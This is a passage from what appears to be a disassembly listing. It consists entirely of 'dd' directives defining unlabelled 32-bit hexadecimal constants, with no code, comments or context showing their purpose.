		dd 9697267Eh, 404D4500h, 3496BACFh, 0FC13EE05h,	57C22B61h
		dd 6AE50E0Fh, 29B40E02h, 8B6391F3h, 8DAF48D8h, 941BD169h
		dd 0CFB5B772h, 1FA151Eh, 72FDAE0Eh, 382F41E9h, 2B902021h
		dd 80FDB79Dh, 0F917FEB9h, 4325F847h, 8CC10B8h, 0CF560A5Eh
		dd 60A5A368h, 36A995CEh, 0A83A443Eh, 1895805Fh,	0B35F14Fh
		dd 0E1E08F6Dh, 7FD98001h, 80A86812h, 0C8F6CFC4h, 1B4906D7h
		dd 0F82861CBh, 184E9C00h, 0D87E9E9Bh, 0B600935h, 9175959Dh
		dd 6111A9B5h, 61302F5Bh, 0A4DD9531h, 0E7BB4CC8h, 0CA532915h
		dd 0FFD5BF02h, 94550D3Fh, 0AAED97D0h, 98AAD140h, 97302A9h
		dd 442952F6h, 0C4CE645Eh, 0B2A1C595h, 0D1C69A2Ah, 0A97EC0CFh
		dd 147BC129h, 0B4AE54A4h, 8D6003CFh, 0C20AFC6Fh, 210B03B8h
		dd 0D3FF6A35h, 8ECB70D5h, 0EF90E403h, 0D4CF4716h, 0DCBB8EC0h
		dd 2CBCB27Ah, 0F6B319C9h, 7B2BAF00h, 0D7CB71D6h, 97431DBBh
		dd 70ECE55Fh, 9D211245h, 0B0FFD36Ah, 519D0980h,	0E62C1C9Ah
		dd 1904670h, 0F471E412h, 75CBF246h, 691DF6F5h, 0D1B44770h
		dd 5D3C0A41h, 0DBB9CCh,	0E010CD1h, 392F7F4Ch, 288F250Eh
		dd 5E9E408h, 208B0340h,	5B2DBBD3h, 7E1DE6BAh, 81558229h
		dd 18A98D14h, 39BD118Dh, 6A162EA1h, 6AE25752h, 8E025D10h
		dd 8EBC43BBh, 4AAED2Fh,	1220855Fh, 0F47D71B2h, 0E217D775h
		dd 146D00FBh, 0C215D8DEh, 3132011Ah, 0F2A4C987h, 6B032F5Fh
		dd 0ECD5BD09h, 5004AF34h, 68BDA203h, 66BD1222h,	4CE9250Ah
		dd 1201BD91h, 0AF6655F9h, 0FC409DB4h, 0F507FBh,	0D521495Dh
		dd 0D88ACDDBh, 0D17916ECh, 32374D12h, 1E2235F2h, 27A1A5F2h
		dd 0D04E7CFEh, 30784183h, 2257555Bh, 0B58D0389h, 0DC0ED704h
		dd 7396EEFh, 0D9FEA303h, 50B6A7E2h, 911A13D8h, 0C07E9B6Ah
		dd 0EE111661h, 219D0275h, 0F95670E1h, 8C2047Dh,	0AA0398BFh
		dd 3EA3C300h, 3B29F313h, 47BD0264h, 1772737Ch, 0BB60355Eh
		dd 0B3820B6h, 0A48B974h, 927C97Ah, 0C0157402h, 1E7039F0h
		dd 68191700h, 54889E5Dh, 0C0974BE2h, 0F337BF27h, 4F3D0A3Bh
		dd 49E05CF6h, 0ED094079h, 5CFC699Dh, 5D246F39h,	4EDDB903h
		dd 3200D96Eh, 215EADFBh, 0CC1CA0DCh, 5967561Bh,	53FC25DBh
		dd 15D5250h, 0F9A7DDB0h, 7CDF3E37h, 178F4B9Eh, 401DD350h
		dd 0BD4E312Bh, 545797D2h, 0EDE9409Ah, 0A41283ACh, 0D4BC15DCh
		dd 2B0173C0h, 466917C5h, 0F35968h, 2D58E8BBh, 0B6246003h
		dd 0D51194EBh, 74986127h, 6E952EB3h, 0D4EDBCFEh, 0C1E3DE80h
		dd 9D80D8B1h, 47D5A5E5h, 10F5B484h, 0E55B2527h,	50096906h
		dd 8EB1B77Dh, 1228E9DFh, 14DEB880h, 0F40EBF1h, 20AA096Fh
		dd 0C0222B47h, 3836B51Eh, 16CAF94Bh, 535E6A22h,	0DCF995C4h
		dd 0E74AB838h, 0BF02B441h, 5E0EB59Dh, 1AFCE634h, 0FF873962h
		dd 73B5F3E1h, 0FDCC82D0h, 65505862h, 44F8F61Ah,	3238AE20h
		dd 0E7045BA9h, 0CD0A74Fh, 25985D6Ah, 5CE5E5B2h,	5CE79517h
		dd 9934FEB7h, 53E72125h, 5C04300Bh, 6001F46Bh, 4A72CCE9h
		dd 0C8206210h, 2A1841F5h
		dd 0BCD956B0h, 7B00DCF6h, 8680BB3Eh, 292639Eh, 6824CB81h
		dd 20E0640Ah, 5C822B39h, 0D18D2150h, 0CD68191Ch, 0F0C7F307h
		dd 0BD27848Eh, 1531245h, 2187AFEh, 897C0528h, 698156BBh
		dd 2D80D137h, 0B67F1D2Ah, 0B3600011h, 0A5EE811Ah, 362C1205h
		dd 8901D61h, 6C6E8D4Bh,	0F90D6915h, 0BE7B80F6h,	0A403EB8Ah
		dd 36B5C25h, 5A5F52ACh,	245E0A0h, 13676880h, 30ADDFC7h
		dd 0E23BFF4Bh, 5A498415h, 0F9D4032Ah, 0EBAE97D6h, 565BAA15h
		dd 3C980263h, 0B7FD523Fh, 0FCA900FBh, 9F7ECF3Ch, 2D5E6C4h
		dd 140128ABh, 16E688h, 0F1DE1F38h, 4119EE0Dh, 9F31BA03h
		dd 0E0013CAEh, 97546BA3h, 1A915FB5h, 0BA2A7880h, 0D32E4B4Ch
		dd 90B6D34h, 184D10Dh, 0DAE951F6h, 0F8DE7F01h, 0D0266480h
		dd 7A027D18h, 60059A6Eh, 10A2E101h, 0E555C606h,	4A1D3C88h
		dd 1FBD2DC5h, 9C0286BCh, 6D8D01D4h, 0A63A5713h,	75000DE4h
		dd 7A31ADDh, 0A90AEDh, 0D4D153FDh, 58598C97h, 814BD773h
		dd 0DD0550CDh, 4AB759E4h, 4FC2E7ACh, 73A0F6F6h,	0DCFCA85Ch
		dd 0BB118001h, 7C3CCB89h, 0DE36DED2h, 82E7883Ah, 1A3B97D9h
		dd 7A9E4211h, 0E2F9498Eh, 0E3F86096h, 2100366Ch, 0BFE5AF44h
		dd 12C70BA7h, 8180EA18h, 2FF22C3Fh, 50966B04h, 0FBD404EBh
		dd 4AD4F36Ah, 966177C0h, 0BD291560h, 205F8EC1h,	3C862BAh
		dd 4E99F300h, 81B14F33h, 199D02D8h, 615A533Ah, 68602D5Eh
		dd 490F6EDFh, 201DC292h, 9BDEFC95h, 88D380DEh, 9B2BE73h
		dd 0C8209A1Bh, 2D820455h, 6E2DE552h, 0D000F47Ah, 36B86509h
		dd 9C4A4245h, 4E8A84F0h, 0B06EE0F8h, 0BE66DE04h, 0D6BFF29Dh
		dd 0C39CD839h, 276B01DCh, 14BB2276h, 5F25369Ch,	421F282h
		dd 0B839BD61h, 0C5449DB1h, 97281697h, 0BA01A6B7h, 0FE8A66B6h
		dd 525F282Eh, 7CE62BD7h, 60F531E2h, 0E80997D0h,	0D3194DDh
		dd 262742E9h, 6193F090h, 0E18350E0h, 0A7BB0494h, 0BC3F6B4Bh
		dd 8180EB56h, 8E2ADF7h,	15235F4Bh, 0E1D8AB70h, 67791CCDh
		dd 0C92565B8h, 1153E56Ah, 0CDEE4208h, 0AA6063FBh, 0DB054B71h
		dd 0C017C82Ch, 4B62A959h, 251EC6B5h, 5A5145B3h,	0F765DE07h
		dd 41A50970h, 668C000Eh, 883F3E97h, 0EE9520BFh,	27359D4Ch
		dd 0CAC4FC02h, 3D63C040h, 61BA9710h, 85E23056h,	0E9535E1Ah
		dd 6E800037h, 0E7C2303Eh, 65314CFDh, 5056925Bh,	0F8E83177h
		dd 0FC2C0A2Bh, 1D46DCBAh, 9C759700h, 0B17EA9ADh, 0FE3F4416h
		dd 3DEB1102h, 6B515EE1h, 48404356h, 0B5CB7Fh, 0D7E21451h
		dd 5F4F2183h, 5980C6B1h, 0B616AC8Ah, 40EF006Ah,	0A1BE8043h
		dd 0CB022C0Eh, 29F951C0h, 0BBADB05Bh, 0C8E31219h, 919F32Ch
		dd 7A8DEB80h, 0ABCFB716h, 3106047h, 0A816318Dh,	0B761F1EAh
		dd 35F58D3Ah, 15518450h, 4E24BC91h, 3A00466Eh, 0F2C55C7Eh
		dd 0B8702F18h, 6ECA1095h, 0AD9B001Dh, 29BBED7Eh, 0DC2512D3h
		dd 7E49E2CBh, 0ED00DC72h, 4556E474h, 98EB7A2h, 0DC8AA5D8h
		dd 35A5537Bh, 0A1920009h, 1CC58E9Ah, 105C5058h,	5F250BADh
		dd 63B053E6h, 6AC5A554h, 0E076CDB7h, 9EB0854h, 0A9E7FE01h
		dd 2B799531h, 88934632h, 7F002618h, 81B48019h, 3E02F30h
		dd 746B8341h, 0C7C1EDAAh, 0D6A77D4Ch, 0D6A81EADh, 0BE0115F0h
		dd 50234BFCh, 49CEF80Ch, 318F5D9h, 0F2BCBD4Ah, 40599676h
		dd 0C7096247h, 8029B612h, 89258BDh, 0FEA50C3Fh,	0D09E20Ch
		dd 696A9C57h, 0A7732727h, 9D6B4970h, 0C6258BF2h, 696E7961h
		dd 5BE9095Ch, 0A0855001h, 0FCAE5F12h, 0BF80F9BDh, 0F0D552Bh
		dd 56C01A97h, 3A74519Eh, 513807Bh, 2276E86Fh, 7892952Eh
		dd 0C0EB6D57h, 2F3CDCFDh, 0FC1B7C02h, 5EC6B136h, 0BD13F4C4h
		dd 1DEA6E14h, 0B68FC984h, 0DB698C71h, 0CBF07022h, 0DE3FE400h
		dd 0F381E611h, 0D8A50485h, 988E0F21h, 3140C931h, 84FD4BE9h
		dd 0C19A9BBDh, 0FC4DFF8h, 5FF6202Ah, 0D5072720h, 8B406FC1h
		dd 95CCF849h, 168AABB0h, 4090F48Ah, 0C3C94CA0h,	79008872h
		dd 82AD57EAh, 127F40DBh, 0AFEEFCB3h, 0CD125817h, 0BCD8C2F8h
		dd 0A427BF66h, 40786FD2h, 0DFAAFE82h, 51038606h, 0F4B4F33Ah
		dd 0AF789560h, 0C2FCD925h, 0BBED5DBFh, 9A155C9h, 3F9D0BFCh
		dd 3050C193h, 0F045202h, 58685A31h, 4538D908h, 36C814A5h
		dd 51279529h, 0E4EE6705h, 71F601Bh, 50F006A9h, 467B2933h
		dd 12BCFC4Ch, 0BBE70E85h, 2561BF02h, 9C5C110Ch,	0ECD681CFh
		dd 6E6AD1FFh, 0B09713Fh, 0DE485C93h, 0A595961Fh, 0B8282B6Eh
		dd 0F670967Dh, 0C79E8200h, 70AC8EBBh, 26A275Bh,	37602456h
		dd 7F3ED7h, 69FEB321h, 0C25789B0h, 0E08B5425h, 25BB668Ch
		dd 7E76396Fh, 0C45B01F6h, 1CED597Bh, 0FE992B3Ah, 33001563h
		dd 6DBFEBA6h, 8D1E8641h, 808499EEh, 0E8B831E9h,	216108E1h
		dd 0B8516953h, 299FC2Fh, 0F43D9DD9h, 0CDDE8D47h, 0B6996625h
		dd 1F5108B1h, 702288A2h, 56099518h, 8BE2E356h, 0FD8A2202h
		dd 9F2D7B5Ch, 871591CDh, 0F7D12A6Fh, 0CCC7DB5Eh, 0E94B98B9h
		dd 0EE3E88Ch, 8A851FC5h, 6AC4AC01h, 0B87539FFh,	421A0B72h
		dd 29D9BBEBh, 0C1184401h, 45D407D4h, 23F0078h, 253057F7h
		dd 264BD940h, 54FA9585h, 7112820Dh, 0A2E4B802h,	48BF202Eh
		dd 9275526h, 0D8ED84B0h, 0FE2D70B8h, 0D7251664h, 9DCE7403h
		dd 999D89FDh, 0E49AA2DDh, 35E78271h, 60BF001Ah,	2F4BF8A8h
		dd 0A4688A97h, 297109B3h, 4449D05Ch, 0A07F011Eh, 3B040E49h
		dd 0CD23F871h, 88D44234h, 9016BB3h, 856B32A4h, 68F63B4Eh
		dd 7758EF0Bh, 952120Eh,	0B0FF2A3Eh, 0F71EDBA1h,	0CBC05213h
		dd 0BF0BE73Ah, 582B5F12h, 9FCA9D54h, 0A4227760h, 2765E23Eh
		dd 133141D1h, 0AA099C6Bh, 0B0445400h, 3DAE4EDAh, 65454C87h
		dd 0C2A8FC16h, 140C151Bh, 86074B5Fh, 7D206A89h,	0C4574E08h
		dd 5BA74D25h, 61836B22h, 2E3D6971h, 6AA5857Eh, 89450298h
		dd 282BFABDh, 100B44E9h, 1304119Dh, 34AEA6B3h, 0AAD8FEDEh
		dd 0DCBC25BFh, 9A5F8BC2h, 57E67D73h, 1FA1A5FEh,	7BA33BFEh
		dd 71142F51h, 0BC12C11Eh, 701090E6h, 870F16E3h,	29600FD1h
		dd 86455F9h, 0E5EB4F8h,	6CF5820Fh, 0BB0E3513h, 94826828h
		dd 0A490AD10h, 830E7D63h, 481247h, 0B0D9C2FAh, 1E230019h
		dd 0F141BEA0h, 0B925328Eh, 0F8A7066Ch, 9EFC71F4h, 700BDC07h
		dd 0F163CE48h, 0BA8D16A2h, 0B33B1F29h, 0D2B14E52h, 3BC0862Ch
		dd 0C41C5753h, 5AF4EA00h, 706786CBh, 0B5D239BCh, 0EFE79402h
		dd 547CC02Bh, 0CCB604DCh, 90DF8B51h, 0BA9F0F7Fh, 8D25DEA6h
		dd 0C96C7315h, 98704653h, 24059E07h, 9D773D14h,	5FD21AD3h
		dd 375E6E42h, 65D40F40h, 47BF0045h, 0C7B193EEh,	2F4874AEh
		dd 2E151019h, 1B8BCD4Ah, 4D0DC29Eh, 195860CBh, 14BBB71Ah
		dd 0F635B5E1h, 9FA296D5h, 0F053F17Bh, 4A8BFF7Ah, 0F499E2FAh
		dd 0C8A322F6h, 0B7A20A7h, 6CD49428h, 8DE312FEh,	918983E2h
		dd 6862996Fh, 0EAE6C39Bh, 9D3F401Ch, 5F9BA8D5h,	0D36DE1B8h
		dd 0EE00B7ECh, 8842B903h, 160ABBC8h, 0AD716E20h, 0AC34D5E5h
		dd 870E2F0Ah, 17FC9590h, 0D79C3700h, 3D91358Dh,	4811D40h
		dd 0FF854174h, 2EDD8AE1h, 8989AA28h, 89282EF9h,	0DC608996h
		dd 6BC00281h, 0BD315A51h, 620795D9h, 637C3961h,	1A7D6725h
		dd 0B75F463Dh, 603389A6h, 0E381EB37h, 52586EA8h, 434B33Bh
		dd 0B89B501h, 309DB112h, 568ADD3Eh, 0A57D2474h,	1245368h
		dd 5BF4D7B4h, 0C7FA20D0h
		dd 0C500E8B8h, 374CC6F6h, 5F472BBBh, 7CACE50Ah,	40E8C882h
		dd 0B7BD14FAh, 1B5F7307h, 0A7907FB1h, 5E0FCEDCh, 2B8EA10Ah
		dd 66904A31h, 31D4CE25h, 0E2294E9Dh, 7A854179h,	8A6A2A2Dh
		dd 0C0195884h, 682DBFABh, 59480311h, 50A136ECh,	0F2F7F3D0h
		dd 0F98B1737h, 0E3D4124Eh, 0C4B357FFh, 41EEA330h, 416F4902h
		dd 0F6CBB1EBh, 5465827Fh, 94C626h, 80E0E82Dh, 65829F75h
		dd 9EA36300h, 41309F6h,	0FF5B09AEh, 57738B35h, 0D0005D20h
		dd 905D7291h, 25F0BBCEh, 4DC641D2h, 220D909Fh, 0F1F3005Bh
		dd 283F1E08h, 92097C58h, 54023DE9h, 5209F427h, 412C1D19h
		dd 692DF53h, 1824E1D9h,	78007D41h, 80AB6807h, 259B2216h
		dd 10C67958h, 0FA54E0A2h, 5FDFBF60h, 0DD084A09h, 0A8A469F7h
		dd 724D09EAh, 2A8E1161h, 0A26FCB25h, 0B4800E4h,	55A4DAE6h
		dd 9F89E41Fh, 68E1606Dh, 752FF010h, 0A0F4E6D8h,	98506430h
		dd 2306444Bh, 0B599D13h, 0FCB98AA4h, 0C8EC9F5Ah, 29999D10h
		dd 19C26125h, 6A6DF741h, 0DF0166E2h, 0F96C5CEh,	394EEF8Ch
		dd 95604F2Ch, 40DD938Fh, 0BA66F78Bh, 96F69DBFh,	0ACB79Fh
		dd 83BF21D3h, 0A4B6609h, 826A368Dh, 310005FFh, 911A1185h
		dd 5A6EADAh, 0A2506CC6h, 2960048h, 6D482528h, 30D691E4h
		dd 0C18A60D0h, 2B5A539Fh, 78BB01D7h, 22547AD6h,	4CF151DAh
		dd 0C33EBBDCh, 7E6ECFFBh, 49ED7403h, 82BC6991h,	2A7E25CAh
		dd 72B25B17h, 0C808EB00h, 0BEF60D09h, 0AB7C5F00h, 88E40604h
		dd 809E9160h, 44FD2015h, 0AE058FFBh, 8DB6536Ch,	7CB5D216h
		dd 80BBDF3Eh, 0B3751DB8h, 0E4119041h, 0FE9851B9h, 48E22Ah
		dd 27BAA708h, 0BF880F6Fh, 98EC091h, 104603Dh, 142EF5BDh
		dd 1A85133Fh, 0CD48B8A7h, 1417D38h, 2EDEBFCAh, 9369753Dh
		dd 6CE271A8h, 6A5F3C0Ah, 2025BECEh, 0F59D29EDh,	0C5C79519h
		dd 9F755027h, 278C1D3h,	5349009Fh, 0F98A45FDh, 6FBD4CE9h
		dd 20960FBh, 8702F5D1h,	250D7ECDh, 0A6C8591Bh, 0B9BB0240h
		dd 8A5C5BA7h, 5002C975h, 0B7020915h, 50635C5Ah,	46940471h
		dd 0E71E00F4h, 4286EC89h, 0DB29801Fh, 3F62F30Ch, 0CABD7504h
		dd 0BDEAFF07h, 6E81E614h, 2D2E2E8Dh, 0A83929A8h, 0A64A2820h
		dd 0B72325E9h, 0B5978ECEh, 2F023D22h, 5ED28734h, 5E1D3A57h
		dd 9B00D4E0h, 742E94FBh, 2D6855AFh, 4C01D229h, 0E2B9B501h
		dd 0ED5AAC5Ch, 142041FAh, 0ED206B23h, 1F0FE25Ch, 0ADF7Eh
		dd 0C0FCADC1h, 5300A458h, 283C87EEh, 95618501h,	43B0C852h
		dd 4CCC965Ch, 0B631715Dh, 61C8AA6Bh, 13C10896h,	54B1B061h
		dd 72458A4Ch, 91E31252h, 8AA35F42h, 75231E00h, 0ABC025B0h
		dd 0D2F49873h, 0B5312D09h, 5B6EA405h, 0D88C5B9h, 0EB013380h
		dd 1DBCE930h, 4005EF95h, 8060E27Fh, 5F5684DFh, 3015E2D4h
		dd 509D5CAEh, 0FBB725F4h, 25B0CEC6h, 58BB0544h,	19258393h
		dd 6F57D6CAh, 0BBE7440Fh, 6F1C084h, 0C8789A6Bh,	0F0F1C119h
		dd 10FBD408h, 9CB813Bh,	705AD1E0h, 0F98B25DAh, 5735A7C2h
		dd 12FDC294h, 0F4B90DE7h, 0CFFBB892h, 135DA529h, 0A12374AFh
		dd 0B778AD3Ah, 5A9B00C2h, 52662108h, 943B7916h,	11C45FE9h
		dd 58AC120Bh, 0C4E8E180h, 7100B8B6h, 8AD1B115h,	5FF936D4h
		dd 92D3450h, 8BD5F8F8h,	0D01B1807h, 112B878h, 0CD9B637h
		dd 7153AB89h, 8490457Dh, 0C557BDEFh, 17EB96FBh,	0C08DBD21h
		dd 0F34A67F0h, 0D26D02B6h, 0CE12C53Ch, 0A30235D7h, 5CA78F8Bh
		dd 0AE829B24h, 0FABFF6D0h, 0FD72576h, 0D4A1A7C6h, 5CF6B05h
		dd 0BB012A22h, 6725276Fh, 0B7C85150h, 17F89768h, 60243409h
		dd 0C6000757h, 45AA9AEh, 0D4FA5D57h, 4D98BF16h,	0E55909F7h
		dd 0BB902BCh, 8AEB140Ah, 0A4723264h, 5B8669B5h,	0ADB4752Eh
		dd 4C11A88Ah, 0C50B59A2h, 0E8C15F45h, 809E3912h, 15707605h
		dd 0EA2412AAh, 85A81F54h, 0F8FBC6AFh, 17CD121Bh, 60A094B8h
		dd 0A9B59D31h, 0D0D5E2D2h, 0E7614A0Bh, 0A6A4E9Fh, 0EEE4012Fh
		dd 46973E00h, 5E94AB6Ch, 0A47C070Ah, 50932BC7h,	5D78039Fh
		dd 0A8E32E2Ch, 5F9DC927h, 2D1B282Fh, 0D1305D8Ah, 164B49BDh
		dd 96004DCh, 1C14BA66h,	0D99F08EEh, 0E05A2D6Dh,	0F719D11h
		dd 0B83BB9A5h, 0E07002Eh, 0B4B7E8BAh, 8C4E0F3Eh, 0FE0920F3h
		dd 0CC70B9E9h, 25D24195h, 0A5A4FBB1h, 0FF171431h, 7081A3DBh
		dd 2FFE8B26h, 7700F9F3h, 0FA0E471Fh, 1A975FC0h,	10DC84D8h
		dd 0C5437340h, 0DC00C7BFh, 5999A46Eh, 13E58CA3h, 448F4CBEh
		dd 0EA5B5F84h, 352DA8Ch, 0F0D6A89Bh, 0FCB87BE7h, 6BE3B21Fh
		dd 0E18153C1h, 6ADAA53Ah, 0E28F5FDBh, 0D4361777h, 29DC0422h
		dd 0F94BED15h, 697BE62Fh, 97FC9844h, 0B35E00AFh, 931E142Dh
		dd 667732E1h, 7DC56902h, 58EE7F05h, 218848BEh, 4BED0625h
		dd 331477CBh, 5E5DDCCBh, 7CBB6033h, 0F1A7FEAh, 0C0026090h
		dd 7534BF67h, 602F97F2h, 0E1E8A6D3h, 1770D09Fh,	5CA06A98h
		dd 2FC52994h, 610EFFC6h, 8B84C180h, 78F4D36Ah, 8D00EFEDh
		dd 718F643Dh, 303F69BBh, 814E4CCCh, 0F0299DBh, 0B3606191h
		dd 0CAD7603Ah, 971279A1h, 0DC0589Ah, 38FC0163h,	0B312EEB5h
		dd 0A9A1589Bh, 0C0DBAA0h, 0F84F5582h, 49F2744Bh, 68F5BD07h
		dd 27CE42Dh, 250ED851h,	0B7C17FDEh, 83282F5Bh, 0F72EE184h
		dd 5C7CA22Ah, 26AE248h,	1FDB7DDh, 20899326h, 198F6B50h
		dd 0EB554451h, 2576EEBh, 205A4312h, 0B320D888h,	970286Ah
		dd 98E98C30h, 480B1C57h, 0B65BBC92h, 4CCEF03Fh,	92F32680h
		dd 904D27C9h, 0D7ED82E0h, 0E3BED214h, 38EC4FA7h, 65BB50C0h
		dd 4A978DA7h, 0DC3074B9h, 6177630Ah, 0AD098D1Ch, 9BC6782Dh
		dd 18145155h, 0DAB29786h, 362B75Ch, 0B869D5BDh,	1FB66E6Ah
		dd 0FBEDBEF0h, 10B6362Dh, 0AF02F27h, 50E4DAA6h,	0CF90895h
		dd 536E5F1Ch, 7C2A410Bh, 8709F462h, 7BF95DACh, 5C0511AFh
		dd 0B0D780AFh, 54B357h,	81AD442Fh, 9ACCF1EFh, 0BDC44B4Bh
		dd 0B93D4980h, 897013E6h, 7CB6E9B5h, 6202EB00h,	71E42859h
		dd 0ACA497FCh, 0BD3343D2h, 4036FCF5h, 7B0E452Dh, 583E287Ch
		dd 205AF4FAh, 6132EA69h, 6A28511Dh, 0F797E825h,	97B37AE2h
		dd 58418CA7h, 81D1003Bh, 3DF91CD3h, 0CCE94F78h,	80AA7104h
		dd 42D8FC0h, 0F622BB80h, 0B93A4A0Fh, 85205B19h,	7AB0301Ch
		dd 0C79F1696h, 282E5AFCh, 253B165Eh, 437BE62Fh,	5C11119h
		dd 65C4F25h, 7E2DCDE0h,	9FCA1F6Dh, 0AE131681h, 2D5ACE36h
		dd 49540CA1h, 742C8462h, 9BEB4325h, 0A5FAF5DBh,	0FFE1B82h
		dd 2FB82A5Ch, 42961F8h,	5DD2606Ah, 0D042587h, 0EFACF9DAh
		dd 0C08486BDh, 7760EFEDh, 0A8B3Dh, 0A0866A07h, 1E986956h
		dd 6F0B8F1Eh, 8012F0BDh, 82F355E3h, 24813A5Fh, 2710B009h
		dd 765B909h, 16394348h,	0FC5B80A4h, 80007D6Eh, 0ACA70A2Bh
		dd 4197267Dh, 0FC021729h, 42C7A380h, 0C01F2B0Fh, 4B8E95BBh
		dd 37D2E96Bh, 49BD81EDh, 205BCA41h, 0BF97DE63h,	8066A15Ah
		dd 85C9B6A7h, 5C092534h, 0DC095F50h, 9501417Bh,	0D4E3429h
		dd 88F7884Fh, 789B02B0h, 0F304057Fh, 71DF95BEh,	5FD706C0h
		dd 34504F2Ch, 4B64F86Bh, 0B301318Dh, 8B6B1FD5h,	0BB66C1B0h
		dd 4BA511CFh, 4811F665h, 0D14B2861h, 6F77C2B8h,	587C605Ah
		dd 9109E620h, 71FCE8C8h, 816080CDh, 0F85264DFh,	954E33EEh
		dd 0B8805DD5h, 0E29D89E1h, 57C79524h, 29053A11h, 6212C585h
		dd 42020113h, 0D083F304h
		dd 7D00B03Dh, 49C5BD02h, 3C932F39h, 0B3C4890Fh,	4512DE5Bh
		dd 0CF8DCCB2h, 1DD1026Dh, 2D606AC9h, 5837B840h,	9B12BC0Eh
		dd 4CBA341h, 28D98D31h,	0B192B7B8h, 97A828B1h, 0A00430AFh
		dd 0E4E6C4A2h, 40D9B209h, 9D5B878Dh, 5F25102Eh,	183CAC8h
		dd 4160EFB5h, 2B8B6717h, 64B64374h, 0AE0214A0h,	0C8DC4904h
		dd 0BB81D84Dh, 9C7F2E61h, 9D2A0398h, 0E690B1F1h, 731EB925h
		dd 0DC4DA525h, 6834E2C0h, 29CE01EEh, 7B9010C8h,	2A236E50h
		dd 0CA7E80ACh, 473B0E42h, 0F467851Ah, 785F5021h, 5B4AC179h
		dd 8C4C18A8h, 0D32E0DC3h, 0FD641C7h, 2FB52031h,	3C8968F1h
		dd 3DFC04BFh, 1FF39054h, 0F5952904h, 27291405h,	497E569Dh
		dd 0DCAF7Ch, 2F5DEBCCh,	29EC5AF7h, 0B86C2E54h, 5BDB97h
		dd 1BB639CEh, 0B571C75Eh, 0A40268EAh, 8BBC9B94h, 0D30055FAh
		dd 43836F5Bh, 9D119197h, 0C3DD7FF5h, 254C95ECh,	0C546212Ch
		dd 8B17605Eh, 80DCB2A1h, 30609FC8h, 0DC8313D5h,	0E29C29BDh
		dd 0EDDDC601h, 0F2560B58h, 0CA504080h, 0BF097184h, 0A14E3001h
		dd 189E96Dh, 3DFB7A3Bh,	0E62AA526h, 0D6BB3C29h,	0F15DD192h
		dd 0E08E271Eh, 98975975h, 0C2F02EB4h, 31F908D1h, 0F444CA25h
		dd 4102F4B0h, 545263DEh, 6A605E8Ch, 3381081Eh, 0D3A4891Eh
		dd 0DE1EC6C8h, 6FFA46D2h, 203802ECh, 5F500806h,	0D4002A66h
		dd 0F7A88248h, 901894DDh, 8FB80B7Ah, 8E62614Ch,	1B026155h
		dd 9516A3BBh, 0D337B902h, 0FE80B29Bh, 0D0BEA18Eh, 4085802Fh
		dd 9743B18Bh, 999FEF14h, 86575064h, 0FA3D129h, 295CC3EBh
		dd 571B3193h, 9DF4405Fh, 87BC3161h, 61AEDA92h, 7ADF8B1Eh
		dd 209508D8h, 903A1771h, 0FD1DF9BFh, 0FCB501Ah,	622AFE87h
		dd 615C2D89h, 70FADBE9h, 0B1905DE2h, 276EB114h,	199D16BEh
		dd 80B3FF52h, 0A042E6D6h, 4DC514Dh, 26B1F030h, 0CD3981DBh
		dd 0B2BF0001h, 3A4B2542h, 371C8D65h, 0FEF95A38h, 0A80521BCh
		dd 0E9CBDD2Ch, 9531D6B4h, 13256DF1h, 98E2A070h,	27F51271h
		dd 0AE5EE310h, 2BBD0249h, 167564F3h, 7B3169BDh,	9BE40086h
		dd 1876FDCAh, 0E54E1273h, 8CA2E2E8h, 528A57ACh,	9DCBF2F9h
		dd 208D8A98h, 0A39A7F82h, 4FB7E9F0h, 3DC6620Ah,	0F96A605Ch
		dd 0F7DECF02h, 2407412Bh, 23D4DC2Ah, 0FA959D4Eh, 3325B4F8h
		dd 6DA728C5h, 64734050h, 2B58CB75h, 52B12F62h, 5FB3FC83h
		dd 0EE8FD402h, 0F4F70222h, 0ABCE78CDh, 0B7283E7Dh, 515DE5E1h
		dd 995B2B83h, 0B181871h, 0F7CC3C09h, 5D961F1h, 2E98B701h
		dd 9BAA2534h, 2AB280D5h, 55B7E72Ch, 0DE2BBABDh,	9093C0B3h
		dd 13BAB064h, 0F8A58E3Ah, 8D8909EFh, 55638979h,	0DF9CAB94h
		dd 0A44012D4h, 20A2FBh,	0B8AFA1C1h, 37DD80h, 78162642h
		dd 0E66C73F6h, 0DE662501h, 0FC8A417Ah, 598D5C85h, 5B2DAE27h
		dd 7C6A2Eh, 0BEDD3168h,	167CBF74h, 0BB153A0Bh, 30884F62h
		dd 7195A248h, 0B8FC44FDh, 0C781015Fh, 4728FD0Ah, 41631E2Eh
		dd 3EE618DFh, 0F135604Bh, 302B2141h, 0D595314Eh, 489C124Bh
		dd 0F59D2F2Bh, 336914E4h, 0FC55A540h, 23CD6BABh, 0F0F3001Ah
		dd 5CE57ABAh, 0B6B75A4Ah, 9BAC4B4Dh, 0A9D0DD01h, 467D8C7Bh
		dd 0B100FD03h, 5BB6096h, 3E728417h, 0E797BA66h,	0E8630461h
		dd 42444013h, 16DBD4E5h, 0FC8C7DA2h, 5950E0E6h,	0A2604F5Fh
		dd 28971ED5h, 61453107h, 88AC9615h, 0FAEE2125h,	0B138B895h
		dd 1591871Bh, 0A951BF01h, 6B965FE0h, 61EC0716h,	425ADE1Eh
		dd 15F19509h, 526034B0h, 9C9E61E4h, 5B65C91Dh, 181459CAh
		dd 0A9A8A0FFh, 9537AC13h, 4E3E6CD3h, 9A6AC8F5h,	0C019C892h
		dd 49EA5320h, 0CAA9B030h, 955B52D8h, 1345DD94h,	56FB9102h
		dd 0CB0469D4h, 0A8CCAA51h, 0C39E95F5h, 9823595h, 5159836Dh
		dd 4C715100h, 18FDDC8h,	0B1F8BD0h, 6A9D635Fh, 5B86ABCAh
		dd 0F975E253h, 0F476E90Bh, 7822FBFFh, 0DA0496EAh, 0C18BBB74h
		dd 0E2C74CDBh, 23DED09Ah, 281299B5h, 32E3D462h,	95DAB540h
		dd 17590773h, 6F01B518h, 9D0989F4h, 0B77B2D7Dh,	105A4834h
		dd 0E84F1349h, 0F8DEC0C7h, 446C620h, 3C40226Dh,	0D1C88C50h
		dd 4BDBB05h, 9BEA9020h,	0C1BD9747h, 1FD93B80h, 7124BD29h
		dd 0C96AA22Bh, 4E495AA7h, 8526EC95h, 21ABCD9Dh,	58062C1h
		dd 32D18F06h, 4A5DFA25h, 92F5AD2Fh, 0D0A009A6h,	0B32776C6h
		dd 5F438945h, 0BF9ECCACh, 5B744413h, 71E93CC7h,	0E7E9003Eh
		dd 6016DEAAh, 98F61F00h, 0C151F825h, 774A09D3h,	90556EBEh
		dd 7EA45E42h, 285B1C09h, 52204444h, 7909FB23h, 708A5B90h
